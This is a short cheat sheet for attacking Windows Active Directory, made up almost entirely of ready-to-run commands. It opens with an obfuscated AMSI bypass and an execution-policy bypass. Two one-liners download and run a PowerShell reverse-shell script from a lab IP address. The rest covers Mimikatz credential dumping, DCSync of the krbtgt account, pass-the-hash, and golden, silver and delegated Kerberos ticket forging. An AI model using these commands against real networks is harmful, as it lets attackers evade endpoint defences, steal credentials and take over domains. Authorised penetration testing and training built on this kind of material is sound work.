Small easy to find cheat sheet for Active directory exploitation

Amsi bypass:-

sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )

Powershell Execution policy Bypass:-

powershell -ep bypass

Tips

To input the output of the first command into second command use this powershell technique

<First command> | %{<Second command> -<argument> $_}

%{} is an alias for ForEach-Object{}

?{} is an alias for Where-Object{}

$_ is variable

To filter out an object type we can use this technique with pipe.

?{$_.<object> -eq '<value>’'}

##Command Execution techniques for reverse shells.

powershell.exe -c iex ((New-Object Net.WebClient).DownloadString('http://172.16.100.113/Invoke-PowerShellTcp.ps1'));Invoke-PowerShellTcp -Reverse -IPAddress 172.16.100.X -Port 443

powershell.exe iex (iwr http://172.16.100.113/Invoke-PowerShellTcp.ps1 -UseBasicParsing);Invoke-PowerShellTcp -Reverse -IPAddress 172.16.100.113 -Port 443

##Mimikatz

Make ntlm ps-session:-

Invoke-Mimikatz -Command '"sekurlsa::pth /user: /domain: /ntlm: /run:powershell.exe"'

Dump creds:-

`Invoke-Mimikatz

Invoke-Mimikatz -Command ‘“lsadump::lsa /patch”’

Invoke-Mimikatz -Command '"lsadump::dcsync /user:\krbtgt"'

(dcsync requires 3 permission )`

#Tickets

Inject ticket:-

Invoke-Mimikatz -Command '"kerberos::ptt <location of .kirbi tkt>"'

Export Tickets:-

Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'

Golden tkt

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<DomainName> /sid:<Domain's SID> /krbtgt:<krbtgt hash> id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'

Silver tkt

Invoke-Mimikatz -Command '"kerberos::golden /domain:<DomainName> /sid:<DomainSID> /target:<target> /service:<ServiceType> /rc4:<rc4 NTLM Hash of user> /user:<UserToImpersonate> /ptt"'

TGT tkt

kekeo.exe tgt::ask /user:<user name> /domain:<domain name> /rc4:<rc4 NTLM Hash of user>

Here the rc4 hash is for the user who is allowed to delegate.

TGS tkt

Kekeo.exe

tgs::s4u /tgt:tgt_ticket.kirbi /user:<user>@<domain> /service:<service name>/<server name>
